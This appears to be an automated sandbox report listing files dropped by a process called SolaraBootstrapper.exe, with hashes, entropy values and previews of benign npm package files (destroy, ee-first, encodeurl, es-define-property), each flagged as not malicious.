Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com.Copyright (c) 2015-2022 Douglas Christopher Wilson doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2459
Entropy (8bit):	4.899069861606129
Encrypted:	false
SSDEEP:	48:f4pIvIaRrqH/8ziv/1o+rGRJG7XGIfwgk57mLAsXPZImIEeJN:fPQx/H1oB2fwgkh+X+/5
MD5:	5866F60785543AB8D86B79DEC253DB49
SHA1:	31D6D0F4B8F17C2551540857056950C406618F51
SHA-256:	80F720DB998D4728565126EA1D4B96C5248D35C2E53032D23692CE3930DE69C8
SHA-512:	BF638F2F6112C8231C08A26784B0F86079494B4DFBB14D59BA87B0A72075FF1364FCC796463E6055D120E6FAEC30A47DE4F351FB769F1548D5C213ECB45B28ED
Malicious:	false
Preview:	# destroy..[![NPM version][npm-image]][npm-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test coverage][coveralls-image]][coveralls-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..Destroy a stream...This module is meant to ensure a stream gets destroyed, handling different APIs.and Node.js bugs...## API..```js.var destroy = require('destroy').```..### destroy(stream [, suppress])..Destroy the given stream, and optionally suppress any future `error` events...In most cases, this is identical to a simple `stream.destroy()` call. The rules.are as follows for a given stream:.. 1. If the `stream` is an instance of `ReadStream`, then call `stream.destroy()`. and add a listener to the `open` event to call `stream.close()` if it is. fired. This is for a Node.js bug that will leak a file descriptor if. `.destroy()` is called before `open`.. 2. If the `stream` is an instance of a zlib stream, then call `stream

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4258
Entropy (8bit):	4.806124915382072
Encrypted:	false
SSDEEP:	96:QDxP4dH18X0MJ1ncBEPwxr+Pfdm6h0eFoFXJ:QDxPEVXM3ncBEPwocuFoF5
MD5:	35723299A9B5B96D111CBF94C56C898F
SHA1:	6547E9C6DBFB287CB22819955726EFC01A29950F
SHA-256:	B54F50DB059987726CE2BDADCA5D66A1E3CEEF183AA5F43CE61AA53F05C36CB7
SHA-512:	D68622A50B1EFA8C3BA52FBF8F1A036CFFAFE608DC0788013F9B7347C7077F3167CB2504D54815750225DAD601C376A485357906F3C0CB6493BBAC67D4AC9579
Malicious:	false
Preview:	/!. destroy. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var EventEmitter = require('events').EventEmitter.var ReadStream = require('fs').ReadStream.var Stream = require('stream').var Zlib = require('zlib')../. Module exports.. * @public. /..module.exports = destroy../. Destroy the given stream, and optionally suppress any future `error` events.. . @param {object} stream. * @param {boolean} suppress. * @public. /..function destroy (stream, suppress) {. if (isFsReadStream(stream)) {. destroyReadStream(stream). } else if (isZlibStream(stream)) {. destroyZlibStream(stream). } else if (hasDestroy(stream)) {. stream.destroy(). }.. if (isEventEmitter(stream) && suppress) {. stream.removeAllListeners('error'). stream.addListener('error', noop). }.. return stream.}../. Destroy a ReadStream.. . @param {object} stream. * @private.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	4.69558664454679
Encrypted:	false
SSDEEP:	24:p3Ho11KGS+7UEGGQxVbYuNCHIZBlW90qLv/ZK:p3H4KGT7Vd+VbYuNCHIzUOqr/Q
MD5:	6015F23C6E2FD79F4A6E29453CE4DC1D
SHA1:	E12115ED9A1E2C56EB35ECFC14FF83B8C02935D5
SHA-256:	F865B50652DC062F43142E01F55DB2760CC10D255BD05AFD232E738999C58188
SHA-512:	1A09253A53E4067ABB67E51D3EFC6483DA2984581BB1583805DA63A602B525E9B5055B78EEDD42E823BDA8FCBCD92A69B1D89F72DE5E3D867524476C05552EA2
Malicious:	false
Preview:	{. "name": "destroy",. "description": "destroy a stream if possible",. "version": "1.2.0",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "stream-utils/destroy",. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8",. "npm": "1.2.8000 \|\| >= 1.4.16". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". },. "files": [. "inde

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1099
Entropy (8bit):	5.12118596206391
Encrypted:	false
SSDEEP:	24:8FMp0rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMp0aJHlxE35QHOs5exm3ogF5n
MD5:	C8D3A30332ECB31CFAF4C0A06DA18F5C
SHA1:	B559C45C8D07F2679620D9771E68696EE3D5964B
SHA-256:	965EF284F7F4C176842EC2E87FA13E79FEED777D56D7A21A5A3B38F1BB6DC288
SHA-512:	50C1DA708C8FD2675EAA7DD1C1D74D42624CFAD467909DFA6AD8827DE73389716875EADA418B4DA056296728B28DC0959CF76392284DCCED468857D1F2186A99
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	4.881718825469232
Encrypted:	false
SSDEEP:	48:WERrqLuF98WhXW4RR6TjgGpgFAeTZ3BwbTZOkt47mZALXq:eLuFOWZW4dy3eTZ3+bTZOktKTXq
MD5:	8591E9D47FB8574F4A99AC3DE242B3CC
SHA1:	7C611CDEB6B66DF78ADFB4B1A56FEC087DCE14B5
SHA-256:	4480E03D020436E665886A99120ABB2EE7FB422850E1B53CCBDBDBD251414C23
SHA-512:	3309F93386F1A8275F8EF1D76B2E242C8287C39662BE567A501DEE017B5564C0F1E73BA332816FD6387DA5497918A5B2824DC0DA94A6B1ECD7A87C85F1FB2AEF
Malicious:	false
Preview:	# EE First..[![NPM version][npm-image]][npm-url].[![Build status][travis-image]][travis-url].[![Test coverage][coveralls-image]][coveralls-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url].[![Gittip][gittip-image]][gittip-url]..Get the first event in a set of event emitters and event pairs,.then clean up after itself...## Install..```sh.$ npm install ee-first.```..## API..```js.var first = require('ee-first').```..### first(arr, listener)..Invoke `listener` on the first event from the list specified in `arr`. `arr` is.an array of arrays, with each array in the format `[ee, ...event]`. `listener`.will be called only once, the first time any of the given events are emitted. If.`error` is one of the listened events, then if that fires first, the `listener`.will be given the `err` argument...The `listener` is invoked as `listener(err, ee, event, args)`, where `err` is the.first argument emitted from an `error` event, if applicable; `ee` is the eve

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1684
Entropy (8bit):	4.5679331887887225
Encrypted:	false
SSDEEP:	24:U+XMpAtBfp0LsQS1JCyOyTZqDZJQSQoIH0h0EzNxTQw516j4bv9ALogX23v+h:lXMGFp0LshIDU6FkA8jwGoWaO
MD5:	E7A3F46D4B903C9F8A025CB753B1A538
SHA1:	6721B521AC3509731D3D0F9B0074908176E1FCC4
SHA-256:	29D3CCCDDC7148F48715BFC94EB6F7B9F9132A5ECB704B9D4B713DE87E7603DD
SHA-512:	8E679EA25F82928ED7D55A6E2C08A647C6457D84749155716273BA3B33A030C262DD359A3BBB12465A58E3DC89BCEC9C3FB7E9CE64B3ECFBF2B14DF49B9DAFEA
Malicious:	false
Preview:	/!. ee-first. * Copyright(c) 2014 Jonathan Ong. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = first../. Get the first event in a set of event emitters and event pairs.. . @param {array} stuff. * @param {function} done. * @public. */..function first(stuff, done) {. if (!Array.isArray(stuff)). throw new TypeError('arg must be an array of [ee, events...] arrays').. var cleanups = [].. for (var i = 0; i < stuff.length; i++) {. var arr = stuff[i].. if (!Array.isArray(arr) \|\| arr.length < 2). throw new TypeError('each array member must be [ee, events...]').. var ee = arr[0].. for (var j = 1; j < arr.length; j++) {. var event = arr[j]. var fn = listener(event, callback).. // listen to the event. ee.on(event, fn). // push this listener to the list of cleanups. cleanups.push({. ee: ee,. event: event,. fn: fn,. }). }. }.. function callback() {. cleanup().

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.742869091916768
Encrypted:	false
SSDEEP:	12:OXjj1wGSMwMVZrAEG1jnGQxR7CnpZ+U0wWpk/Ga4JVSYLZLPOyZiPjXy8enYMw:gX1wGS+7UEGGQxVekFwW7Zqy4y8e1w
MD5:	3ED21090E07EF5DD57729A77C4291CB9
SHA1:	7FFE61F87F94A558FABC177CAD5C9B90B16481CF
SHA-256:	A4EECE6FF6B38BF7AC107323F381CC60500097A9CBDD473F5D5B45E68822CB89
SHA-512:	54DE61C6AB428104F9A559ECD3DF7868AB7F1B5C8B85A3F658C8DAB13D435BD0766C6B48178A1D5BD083B0829F6461158E303538C7D08761B201B17F7C9940B3
Malicious:	false
Preview:	{. "name": "ee-first",. "description": "return the first event in a set of ee/event pairs",. "version": "1.1.1",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "jonathanong/ee-first",. "devDependencies": {. "istanbul": "0.3.9",. "mocha": "2.2.5". },. "files": [. "index.js",. "LICENSE". ],. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	4.290780944952664
Encrypted:	false
SSDEEP:	3:SVmrY1xFYJKgC/gplFvhVcKlFYJKgCqLVlXAzXXKAxFW+ZKoRcLsMVoi6EFhF4:Sf1YFQ01KLI3Wsl67Voil2
MD5:	6AF548DFA20004D203A20CA28F0DED82
SHA1:	529C725BD6F57D3A83154DB7C81A8ED68E53E08F
SHA-256:	862EB81868522938D0C3B042AC31FAA983BCB64509EA05504640053E4F70C759
SHA-512:	1422A896134205F73FD50C3F10CE5CCB0AD98D294CDB8A6F8944D2770B6CDF5DFBAABA072529F9BAD56FD0202D130F0592E7FD5AF074DC0B3D1059173AA1CFA7
Malicious:	false
Preview:	1.0.2 / 2018-01-21.==================.. * Fix encoding `%` as last character..1.0.1 / 2016-06-09.==================.. * Fix encoding unpaired surrogates at start/end of string..1.0.0 / 2016-06-08.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:/iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:/iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	272621EFA0FF4F18A73221E49AB60654
SHA1:	65D4C206A2666653C2FD6E516468FA5AA321E8F1
SHA-256:	7585EA7BBA616CCBBE43CB54ECB67956688C3C5641BB84F3099A652A73193AFE
SHA-512:	745A296359A63383CA54211BE411E0D6F61913B1849B324C69961B3EBEC40C4E2CAE166C5E35FE14AE92D12B56C5472B22229211F88AFAD887410A6389C6E1C8
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3855
Entropy (8bit):	5.086720488016747
Encrypted:	false
SSDEEP:	48:DvqXC9RR6NdXMoNjYNRZfj5BtqGV79Yoc+92ovA1xR9kimJIUGu5aKi9RT7kZe13:DiXCy15ktzepUn3iKfin7kkEVf+j
MD5:	927F12B955E3ABFE907852D1AB957002
SHA1:	F7FF11DE5504CA62A1D60994EA588F0242B59946
SHA-256:	C034DB4C4433AC44BBC3BA626D1D2D1B02A6B6B76E0A8C92B6760DAE39C5C59A
SHA-512:	036509265D14A13D271328373D996DCB9DDAEC7C6E8437DC70E282CC8F50008C2E4ADDEDB6EB6447171CB238513504F732D960ACA3ED973B93F7CB80A29E4AB1
Malicious:	false
Preview:	# encodeurl..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Encode a URL to a percent-encoded form, excluding already-encoded sequences..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install encodeurl.```..## API..```js.var encodeUrl = require('encodeurl').```..### encodeUrl(url)..Encode a URL to a percent-encoded form, excluding already-encoded sequences...This function will take an already-encoded URL and encode all the non-URL.code points (as UTF-8 byte sequences). This function will not encode the."%" character unless it is not part of a valid sequence (`%20` will be.l

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.418053581573525
Encrypted:	false
SSDEEP:	48:xRG0vcaGF5R6yFv0hD1KRj5BFW+pkpV7zYocKGJ/hK4xv:u4GT0nKRzFW+p5p1hKuv
MD5:	B90CF71779F72E14BE703A4E494E968C
SHA1:	842F42D9EE581D91AC82A7FA018F61BB3F8EF63A
SHA-256:	1D0A4E941C1504DCD9BC6CFBB77F7B44D93E56A29CBA6F2CCEBD78D501A51C16
SHA-512:	8DB5D9A938F397C11C75C77C0CBE6EB609C5D4F81A590F221163FE3291CD0CB2A6286BA8935C8F8CFDABECEC9F7E49A5BFA836DC777E936271FBE0DAEA7414E6
Malicious:	false
Preview:	/!. encodeurl. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = encodeUrl../. RegExp to match non-URL code points, after encoding (i.e. not including "%"). * and including invalid escape sequences.. * @private. /..var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]\|%(?:[^0-9A-Fa-f]\|[0-9A-Fa-f][^0-9A-Fa-f]\|$))+/g../. RegExp to match unmatched surrogate pair.. * @private. /..var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^\|[^\uD800-\uDBFF])[\uDC00-\uDFFF]\|[\uD800-\uDBFF]([^\uDC00-\uDFFF]\|$)/g../. String to replace unmatched surrogate pair with.. * @private. /..var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2'../. Encode a URL to a percent-encoded form, excluding already-encoded sequences.. . This function will take an already-encoded URL and encode all the non-URL. * code points. This function will not encode the "%" character unless it is. * not

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.801734666240135
Encrypted:	false
SSDEEP:	24:SJOGaVm51ExVTXNAcIMYfP8IWZHnWPxcnjZqy4y8e1w:EIMaVTXq0YfP8XtWPx8jogw
MD5:	453A9BB10C91E0EC44F305B14E30CE82
SHA1:	73C01B81F34A9978B158DF2744EF8C45251D6193
SHA-256:	30B1A43843675F42033FD6C77C19B20AD4344844F0BD5526C586081E93A48FE8
SHA-512:	D81EE5F2394493A5F93918ECAE6581F82EE529FBBD257E0DC10EA68F09C39D0D19E3A6B0E9560EB1250D88A9B1F591D6469F28404410B16B580CBE179E37DA0F
Malicious:	false
Preview:	{. "name": "encodeurl",. "description": "Encode a URL to a percent-encoded form, excluding already-encoded sequences",. "version": "1.0.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "encode",. "encodeurl",. "url". ],. "repository": "pillarjs/encodeurl",. "devDependencies": {. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.8.0",. "eslint-plugin-node": "5.2.1",. "eslint-plugin-promise": "3.6.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "2.5.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover nod

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.538202190525913
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHLAC8/EgHMDlvwR/6G+sNqR6LesNEvssTsvv:ExL0UxNSH383sDlJbupsg3
MD5:	09A7141E4D4FEA956FB26245D7CFFFE6
SHA1:	0C3C91D3282B7A6F78F17E6CBB1BC670439E456B
SHA-256:	317B53D336FEF735ECF930B9518869A5692C1BD1B80EA2D53CE6A86B36919C67
SHA-512:	1897D9D40451F3FECD12D9B55752D0A74BF23656C8AB03712C083E6C4B273BF158C1D1F328294E5DA01BEA0BF016BB5346EE975AC843595392C02C5BD1F220B8
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	564
Entropy (8bit):	4.605290209060228
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMrzlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgClg7g1GegJ9gEzgs
MD5:	FED312B9B7FC8F3B324DC593AD0C9A83
SHA1:	C34A570A604C84D4E042442F8518FEB47FD6C027
SHA-256:	FDD23EB2A51D498F6BBC1D709EB6FAD3778BBB0205126BC9548D4C59B714A402
SHA-512:	A667549517456DCE6E2A7220EAF75704173DD6A80CCEBAD2D4DACCF973744E8E451B08129B10BC2F900B8AE5F875EFD0EC1BD23217DC21B534EEDC082F70DB27
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/es-define-property.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	822
Entropy (8bit):	5.20488474386645
Encrypted:	false
SSDEEP:	12:ENOKyRmjXWTbp6p35SpHvNzmKv7myG7WzW2Ke1I9zfOdFnh5zKP21QAv:EIKpjXWTIppav75GZXGIiB+Cv
MD5:	FF2C2EE466914D9A89D17056FDABFF87
SHA1:	5A0683819C70CC38D791ACCA1C3C3E9623D582E7
SHA-256:	FBB71F72CA81F11DA6ED63CB10E4D6086ADDE75A5C45069A326C490EC773AFD0
SHA-512:	BE029C8E026C331515CABCE3D20EA687B68CC68E04391CA0D2C85E62BD4F975B84F522109EE892312828D3D0D4FB3446D2ABABA556ACB1E2F7AE48091DDBB50A
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## v1.0.0 - 2024-02-12..### Commits..- Initial implementation, tests, readme, types [`3e154e1`](https://github.com/ljharb/es-define-property/commit/3e154e11a2fee09127220f5e503bf2c0a31dd480).- Initial commit [`07d98de`](https://github.com/ljharb/es-define-property/commit/07d98de34a4dc31ff5e83a37c0c3f49e0d85cd50).- npm init [`c4eb634`](https://github.com/ljharb/es-define-property/commit/c4eb6348b0d3886aac36cef34ad2ee0665ea6f3e).- Only apps should have lockfiles [`7af86ec`](https://github.com/ljharb/es-define-property/commit/7af86ec1d311ec0b17fdfe616a25f64276903856).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:BPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:psaJHlxE3dQHOs5exm3ogFh
MD5:	8FE23EA421AAF9F9D687709F6A6A09B7
SHA1:	A47868AB90B532DF82ABE3E4F507BCB2EA441364
SHA-256:	5E325595B4EA8CFEC3802F545B1DEF5D7B73E4A5B8E9BA63E32A320F67732292
SHA-512:	8ACD3B84F3AFA8C6FF9C1A58AB774EA33AEC7701C022BA8F4D36218A8D1C03E80EF2EE1D692DBD43DBF5883153137C5E000F113B98DA23D870DFAB6F71B78AFA
Malicious:	false
Preview:	MIT License..Copyright (c) 2024 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.034867386998497
Encrypted:	false
SSDEEP:	24:Zdn1eI4IjAoqSTgMWvm64bHcauzK5g2HwoAruUo/suGCG9ZYIJ1heIXIjvRv:/1eI4I7qS8e6GH3hy2qudIL0IXIFv
MD5:	1FD50C2701C3B616F8FDFF87E9D3AEAC
SHA1:	17A3CA5DFF9C316F52B09F48D06ABD74B908A1D6
SHA-256:	5CE564BB53FAFD87B543F144E04955D128199205CF07BFF442F3B875CA90D422
SHA-512:	67915F0D9B60E1AC9CB037238E4B2D2C2DEC3EEA32BDB2F58E74397C82A0975A91B3833C4F8A89ADA22258CDBDAB9F8F01D7A7D811A3CFB8F43AA7C89899D07F
Malicious:	false
Preview:	# es-define-property <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..`Object.defineProperty`, but not IE 8's broken one...## Example..```js.const assert = require('assert');..const $defineProperty = require('es-define-property');..if ($defineProperty) {. assert.equal($defineProperty, Object.defineProperty);.} else if (Object.defineProperty) {. assert.equal($defineProperty, false, 'this is IE 8');.} else {. assert.equal($defineProperty, false, 'this is an ES3 engine');.}.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..## Security..Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report...[package-url]: https://npmjs.org/package/es-defin

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.246163522417473
